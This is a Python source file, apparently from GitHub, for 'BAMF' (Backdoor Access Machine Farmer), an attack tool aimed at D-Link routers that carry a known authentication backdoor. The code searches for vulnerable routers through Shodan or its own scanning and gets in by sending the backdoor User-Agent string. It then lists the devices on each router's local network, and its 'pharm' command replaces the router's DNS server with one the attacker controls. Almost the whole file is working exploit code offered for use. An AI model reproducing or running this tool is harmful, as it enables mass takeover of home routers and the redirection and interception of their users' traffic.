-
Notifications
You must be signed in to change notification settings - Fork 96
/
bamf.py
634 lines (510 loc) · 22.7 KB
/
bamf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
#!/usr/bin/env python
# standard library
import os
import sys
import time
import Queue
import struct
import socket
import pprint
import getopt
import random
import logging
import sqlite3
import urllib2
import argparse
import tempfile
import threading
# packages
import shodan
import colorama
import mechanize
LOGO = """
:+***+: -*#%#+:
*@@@@@@@+ #@@@@@@@=
.:---- @@@@@@@@* %@@@@@@@+ :---:
=@@@@@@*: .*@@@@@%. :@@@@@%=. -@@@@@@%:
%@@@@@@@+ .@@@@@- -@@@@@. #@@@@@@@#
=@@@@@@@%: =@@@@@@- =@@@#@@- .=@@@@@@@@-
.-+%@@@@@#- *@@@@@@@+*@@@@@@@-.-%@@@@@#-:
.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
.@@@@@@@@@@@@@%@@@@@@@@@@@@@@@@@%.
-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-
=@@@@@@@@@@%@@%@@@@@@@@@@@@@@-
#@@@@@@@@@@@@@@@@@@@@@@@@@@=
.+#%%%%%%%%@%%@%%%%%%@@@@%=
.+****************#*****+.
#@@@@@@@@@@@@@@@@@@@@@@@@=
:----------------------:
#%%%%#*: -%%%+ =%%%+ :%%%# #%%%%%%=
@@@**@@@: #@@@@ +@@@@: *@@@@ @@@****-
@@@- %@@- :@@@@@- +@@@@*.@@@@@ @@@-
@@@#%@@#. +@@*@@# +@@@@@+@@@@@ @@@%%%=
@@@++@@@- @@@:@@@: +@@*@@@@*@@@ @@@*++:
@@@- #@@+=@@@@@@@+ +@@+#@@@:@@@ @@@-
.@@@##@@@-#@@=.-@@@.+@@+-@@# @@@ @@@-
++++++-. +++ +++:-++- ++: +++ +++:
"""
class Bamf(mechanize.Browser):
"""
Virtual browser capable of spidering through the web
looking for administration panels for D-Link routers
vulnerable to CVE-2013-6027 and changing their DNS
server settings
"""
__tbl_config = """BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS tbl_config (
shodan_api text DEFAUL NULL
);
COMMIT;
"""
__tbl_routers = """BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS tbl_routers (
ip varchar(15) DEFAULT NULL,
port tinyint(3) DEFAULT NULL,
model text DEFAULT NULL,
vulnerability text DEFAULT NULL,
signature text DEFAULT NULL,
dns varchar(15) DEFAULT NULL
);
COMMIT;
"""
__tbl_devices = """BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS tbl_devices (
router varchar(15) DEFAULT NULL,
device text DEFAULT NULL,
ip varchar(15) DEFAULT NULL,
mac varchar(16) DEFAULT NULL
);
COMMIT;
"""
__signatures = [
"admin_frm",
"brl-04cw",
"brl-04cw-u",
"brl-04r",
"brl-04ur",
"brl-04ur",
"brl04ur",
"di-524",
"di-524",
"di-524up",
"di-524up",
"di-604+",
"di-604up",
"di-615",
"di-624s",
"di524up",
"di615",
"di624s",
"dir-524",
"dir-524up",
"dir-604+",
"dir-604up",
"dir-615",
"dir-624s",
"dir524",
"dir604+",
"dir615",
"dlink_firmware_v1.0",
"h_wizard.htm",
"help.htm",
"home/h_wizard.htm",
"httpd-alphanetworks/2.23",
"index.htm",
"index1.htm",
"menu.htm",
"settings saved",
"thttpd alphanetworks 2.23",
"thttpd-alphanetworks 2.23",
"thttpd-alphanetworks 2.23",
"thttpd-alphanetworks/2.23",
"tm-5240",
"tm-g5240",
"tm-g5240",
"tm-g5240",
"tm5240",
"tmg5240",
"tools_admin.htm",
"tools_admin.xgi"
]
__vulnerability = 'CVE-2013-6026'
def __init__(self, shodan_api=None):
"""
Initialize a new Bamf instance
`Optional`
:param str shodan_api: Shodan API key
"""
mechanize.Browser.__init__(self)
self._models = {}
self._targets = {}
self._devices = []
self._threads = []
self._backdoors = []
self._queue = Queue.Queue()
self._query = 'alphanetworks/2.23'
self._ports = [8000, 8080, 8888]
self._semaphore = threading.Semaphore(value=1)
self._database = sqlite3.connect('database.db')
self._database.executescript(self.__tbl_config)
self._database.executescript(self.__tbl_routers)
self._database.executescript(self.__tbl_devices)
self._shodan = self._init_shodan(shodan_api)
self.addheaders = [('User-Agent', 'xmlset_roodkcableoj28840ybtide')]
self.set_handle_robots(False)
self.set_handle_redirect(True)
self.set_handle_refresh(True)
self.set_handle_equiv(True)
self.set_handle_referer(True)
self.set_debug_http(False)
self.set_debug_responses(False)
def _init_shodan(self, shodan_api):
parameters = {"shodan_api": shodan_api}
n = self._database.execute("SELECT (SELECT count() from tbl_config) as count").fetchall()[0][0]
if isinstance(shodan_api, str):
if n == 0:
_ = self._database.execute("INSERT INTO tbl_config (shodan_api) VALUES (:shodan_api)", parameters)
else:
_ = self._database.execute("UPDATE tbl_config SET shodan_api=:shodan_api", parameters)
self._database.commit()
return shodan.Shodan(shodan_api)
else:
if n == 0:
warn("No Shodan API key found (register a free account at https://account.shodan.io/register)")
else:
shodan_api = self._database.execute("SELECT shodan_api FROM tbl_config").fetchall()[0][0]
if shodan_api:
return shodan.Shodan(shodan_api)
def _threader(self):
while True:
try:
method, args = self._queue.get()
if callable(method):
debug(args)
worker = method(*args)
except:
break
def _save(self):
for device in self._devices:
_ = self._database.execute("INSERT INTO tbl_devices (router, device, ip, mac) VALUES (:router, :device, :ip, :mac)", device)
for backdoor in self._backdoors:
_ = self._database.execute("INSERT INTO tbl_routers (ip, port, model, vulnerability, signature) VALUES (:ip, :port, :model, :vulnerability, :signature)", backdoor)
self._database.commit()
def _pharm(self, ip, port, dns):
url = 'http://{}:{}/Home/h_wan_dhcp.htm'.format(ip, port)
request = self.open(url, timeout=3.0)
form = self.select_form("wan_form")
self['dns1'] = dns
self.submit()
self._save()
def _map(self, ip, port):
request = self.open('http://{}:{}/Home/h_dhcp.htm'.format(ip, port), timeout=3.0)
html = request.get_data().splitlines()
for line in html:
try:
parts = line.split('","')
if len(parts) >= 3 and valid_ip(parts[1]):
if 'ist=[' not in line and 'erver=[' not in line:
name = parts[0].strip('["')
lan_ip = parts[1]
mac = parts[2]
lan_device = {"router": ip, "device": name, "ip": lan_ip, "mac": mac}
self._devices.append(lan_device)
print(' |')
print(colorama.Fore.CYAN + colorama.Style.BRIGHT + '[+]' + colorama.Fore.RESET + ' Device {}'.format(len(self._devices)) + colorama.Style.NORMAL)
print(' | Device Name: ' + colorama.Style.DIM + name + colorama.Style.NORMAL)
print(' | Internal IP: ' + colorama.Style.DIM + lan_ip + colorama.Style.NORMAL)
print(' | MAC Address: ' + colorama.Style.DIM + mac + colorama.Style.NORMAL)
except Exception as e:
debug(str(e))
def _scan(self, ip, port):
target = 'http://{}:{}'.format(ip, port)
debug("Requesting {}".format(target))
try:
self._semaphore.acquire()
conn = self.open(target, timeout=2.0)
html = conn.get_data()
if not html or not self.viewing_html():
return
elif conn.code == 200:
for signature in self.__signatures:
if signature in html:
model = str(self.title())
self._backdoors.append({"ip": ip, "port": port, "model": model, "vulnerability": self.__vulnerability, "signature": signature})
print(" | ")
print(" | " + colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " + colorama.Fore.RESET + " Backdoor {}".format(str(len(self._backdoors))) + colorama.Style.NORMAL)
print(" | IP: " + colorama.Style.DIM + ip + colorama.Style.NORMAL)
print(" | Port: " + colorama.Style.DIM + "{}/tcp".format(port) + colorama.Style.NORMAL)
print(" | Model: " + colorama.Style.DIM + model + colorama.Style.NORMAL)
print(" | Vulnerability: " + colorama.Style.DIM + self.__vulnerability + colorama.Style.NORMAL)
print(" | Signature: " + colorama.Style.DIM + signature + colorama.Style.NORMAL)
else:
return
self._semaphore.release()
except KeyboardInterrupt:
return
except Exception as e:
debug(str(e))
def pharm(self, dns):
"""
Change the primary DNS server of vulnerable routers
`Required`
:param str dns: IP address of a user-controlled DNS server
"""
try:
if not len(self._backdoors):
error("no backdoored routers to pharm (use 'scan' to detect vulnerable targets)")
elif not valid_ip(dns):
error("invalid IP address entered for DNS server")
else:
for i, router in enumerate(self._backdoors):
self._pharm(router['ip'], router['port'], dns)
devices = self._database.execute("SELECT (SELECT count() from tbl_devices WHERE router=:router) as count", {"router": ip}).fetchall()[0][0]
print(colorama.Fore.MAGENTA + colorama.Style.NORMAL + '[+]' + colorama.Fore.RESET + ' Router {}:{} - DNS Server Modified'.format(ip, port))
print(' | DNS Server: ' + colorama.Style.DIM + '{}:53'.format(dns) + colorama.Style.NORMAL)
print(' | Connected Devices: ' + colorama.Style.DIM + '{}\n'.format(size) + colorama.Style.NORMAL)
except KeyboardInterrupt:
return
except Exception as e:
debug(str(e))
def scan(self, *args):
"""
Scan target hosts for signatures of a backdoor
`Optional`
:param str ip: IP address of target router
:param int port: Port number of router administration panel
"""
try:
print("\nScanning {} targets...".format(len(self._targets)))
startlen = len(self._backdoors)
if len(args):
ip, _, port = args[0].partition(' ')
if valid_ip(ip) and port.isdigit(port):
self._targets[ip] = int(port)
self._scan(ip, port)
print(colorama.Fore.CYAN + "\n[+]" + colorama.Fore.RESET + " Scan complete - " + colorama.Style.BRIGHT + "1" + colorama.Style.NORMAL + " backdoor(s) found\n")
else:
error("invalid IP address or port number")
else:
if len(self._targets):
for ip, port in self._targets.items():
self._scan(ip, port)
print(colorama.Fore.CYAN + "\n[+]" + colorama.Fore.RESET + " Scan complete - " + colorama.Style.BRIGHT + str(len(self._backdoors) - startlen) + colorama.Style.NORMAL + " backdoor(s) found\n")
else:
error("no targets to scan")
self.help()
self._save()
except KeyboardInterrupt:
return
except Exception as e:
debug(str(e))
def map(self, *args):
"""
Discover devices connected in local networks of backdoored routers
`Optional`
:param str ip: IP address of target router
:param int port: Port number of router administration panel
"""
try:
if not len(self._backdoors):
error('no backdoored routers with local networks to map')
if len(args):
ip, _, port = args[0].partition(' ')
if not valid_ip(ip):
error("invalid IP address")
elif not port.isdigit() or not (0 < int(port) < 65356):
error("invalid port number")
else:
self._map(ip, int(port))
self._save()
else:
for backdoor in self._backdoors:
print('\nMapping Network {}...\n'.format(self._backdoors.index(backdoor) + 1))
self._map(backdoor['ip'], backdoor['port'])
self._save()
except KeyboardInterrupt:
return
except Exception as e:
debug(str(e))
def search(self, ip_range=None):
"""
Utilize the IoT search-engine, Shodan, to search for vulnerable routers
`Optional`
:param str ip_range: target IP range in CIDR notation (ex. 192.168.1.1/24)
"""
try:
if isinstance(self._shodan, shodan.Shodan):
if isinstance(ip_range, str):
print('\nTarget IP range: {}'.format(ip_range))
print('\nSearching Shodan for vulnerable routers...')
subnet = cidr_to_ip_range(ip_range)
previous = len(self._targets)
for ip in subnet:
try:
time.sleep(1)
host = self._shodan.host(ip)
for data in host['data']:
for port in self._ports:
if port == data['port']:
if self._query in data['http']['server']:
self._targets[ip] = port
except Exception as e:
debug(str(e))
current = len(self._targets)
print('\nAdded {} hosts to targets'.format(current - previous))
else:
print('\nSearching Shodan for vulnerable routers...')
for i, item in enumerate(self._shodan.search_cursor(self._query)):
ip = item.get('ip_str').encode()
port = item.get('port')
self._targets[ip] = port
print("\nAdded {} new targets\n".format(i + 1))
else:
print('\nTarget IP range: {}'.format(ip_range))
print('\nSearching internet for vulnerable routers...')
if isinstance(ip_range, str):
subnet = cidr_to_ip_range(ip_range)
previous = len(self._targets)
for ip in subnet:
for port in self._ports:
method = self._scan
target = (ip, port)
task = (method, target)
self._queue.put(task)
self._threads = [threading.Thread(target=self._threader) for _ in range(10)]
for t in self._threads:
t.setDaemon(True)
t.start()
for t in self._threads:
t.join(timeout=1.0)
current = len(self._targets)
print('\nAdded {} new targets\n'.format(current - previous))
else:
error('invalid IP address/range')
except KeyboardInterrupt:
return
except Exception as e:
debug(str(e))
def help(self, *args):
"""
Show usage information
"""
print('\n' + colorama.Fore.YELLOW + colorama.Style.BRIGHT + ' COMMAND DESCRIPTION' + colorama.Fore.RESET + colorama.Style.NORMAL)
print(' search ' + colorama.Style.DIM + ' query the Shodan IoT search engine for targets' + colorama.Style.NORMAL)
print(' scan [ip] ' + colorama.Style.DIM + ' scan target host(s) for backdoors' + colorama.Style.NORMAL)
print(' map [ip] ' + colorama.Style.DIM + ' map local network(s) of vulnerable routers' + colorama.Style.NORMAL)
print(' pharm <dns> ' + colorama.Style.DIM + ' modify the dns server of vulnerable routers' + colorama.Style.NORMAL)
print(' targets ' + colorama.Style.DIM + ' show current targets' + colorama.Style.NORMAL)
print(' backdoors ' + colorama.Style.DIM + ' show backdoors detected this sessions' + colorama.Style.NORMAL)
print(' devices ' + colorama.Style.DIM + ' show devices connected to backdoored routers'+ colorama.Style.NORMAL)
print(' exit/quit ' + colorama.Style.DIM + ' end session and exit program\n' + colorama.Style.NORMAL)
def backdoors(self, *args):
"""
Show all detected backdoors
"""
pprint.pprint(self._backdoors)
print(colorama.Fore.MAGENTA + '\n[+] ' + colorama.Style.BRIGHT + colorama.Fore.RESET + str(len(self._backdoors)) + colorama.Style.NORMAL + ' backdoors confirmed\n')
def targets(self, *args):
"""
Show all target hosts
"""
pprint.pprint(self._targets)
print(colorama.Fore.GREEN + '\n[+] ' + colorama.Style.BRIGHT + colorama.Fore.RESET + str(len(self._targets)) + colorama.Style.NORMAL + ' targets ready to scan\n')
def devices(self, *args):
"""
Show all discovered devices connected to vulnerable routers
"""
pprint.pprint(self._devices)
print(colorama.Fore.CYAN + '\n[+] ' + colorama.Style.BRIGHT + colorama.Fore.RESET + str(len(self._devices)) + colorama.Style.NORMAL + ' devices connected to vulnerable routers\n')
def eval(self, code):
"""
eval() code directly in the current context (for debugging purposes)
`Required`
:param str code: Python code
"""
try:
print eval(code)
except Exception as e:
debug(str(e))
def quit(self, *args):
"""
End the session and exit BAMF
"""
sys.exit(0)
def exit(self, *args):
"""
End the session and exit BAMF
"""
sys.exit(0)
def run(self):
"""
Run BAMF
"""
while True:
try:
cmd, _, arg = raw_input(colorama.Style.BRIGHT + "[bamf]> " + colorama.Style.NORMAL).partition(' ')
if hasattr(self, cmd):
getattr(self, cmd)(arg) if len(arg) else getattr(self, cmd)()
else:
debug("unknown command: '{}' (use 'help' for usage information)".format(cmd))
except KeyboardInterrupt:
sys.exit(0)
except Exception as e:
debug(str(e))
self.run()
# utilities
def debug(msg):
globals()['logger'].debug(str(msg))
def error(msg, color='RED'):
print ('\n' + getattr(colorama.Fore, color) + colorama.Style.BRIGHT + '[-] ' + colorama.Fore.WHITE + 'Error - ' + colorama.Style.NORMAL + msg + '\n')
def warn(msg, color='YELLOW'):
print ('\n' + getattr(colorama.Fore, color) + colorama.Style.BRIGHT + '[!] ' + colorama.Fore.WHITE + 'Warning - ' + colorama.Style.NORMAL + msg + '\n')
def info(msg, color='GREEN'):
print (getattr(colorama.Fore, color) + colorama.Style.BRIGHT + '[+] ' + colorama.Fore.WHITE + colorama.Style.NORMAL + msg)
def enter(msg, color='CYAN'):
return raw_input('\n' + getattr(colorama.Fore, color) + colorama.Style.NORMAL + "[>] " + colorama.Fore.WHITE + msg + ': ').lower()
def prompt(q, *args, **kwargs):
color = kwargs.get('color') if 'color' in kwargs else 'YELLOW'
if len(args):
return raw_input('\n' + colorama.Style.NORMAL + getattr(colorama.Fore, color) + "[?] " + colorama.Fore.WHITE + q + '? ' + '(' + '/'.join(args) + '): ' + colorama.Style.NORMAL).lower()
else:
return raw_input('\n' + colorama.Style.NORMAL + getattr(colorama.Fore, color) + "[?] " + colorama.Fore.WHITE + q + '? ' + colorama.Style.NORMAL).lower()
def valid_ip(address):
try:
socket.inet_aton(address)
except socket.error:
return False
return address.count('.') == 3
def cidr_to_ip_range(cidr):
ip, _, cidr = str(cidr).partition('/')
if not (valid_ip(ip) and cidr.isdigit() and int(cidr) <= 32):
error("invalid IP range - use CIDR notation (ex. 192.168.1.1/24)")
cidr = int(cidr)
host_bits = 32 - cidr
i = struct.unpack('>I', socket.inet_aton(ip))[0]
start = (i >> host_bits) << host_bits
end = start | ((1 << host_bits) - 1)
return [ socket.inet_ntoa(struct.pack('>I',i)) for i in range(start, end) ]
# main
def main():
bamf = Bamf(shodan_api=options.shodan)
bamf.run()
if __name__ == '__main__':
print(colorama.Fore.RED + LOGO + colorama.Fore.RESET)
parser = argparse.ArgumentParser(
prog='bamf.py',
version='0.1.2',
description='Backdoor Access Machine Farmer')
parser.add_argument(
'--shodan',
action='store',
type=str,
help='Shodan API key')
parser.add_argument(
'--debug',
action='store_true',
help='print debugging output to the console')
options = parser.parse_args()
logging.basicConfig(level=logging.DEBUG if options.debug else logging.ERROR, handler=logging.StreamHandler)
logger = logging.getLogger(__name__)
main()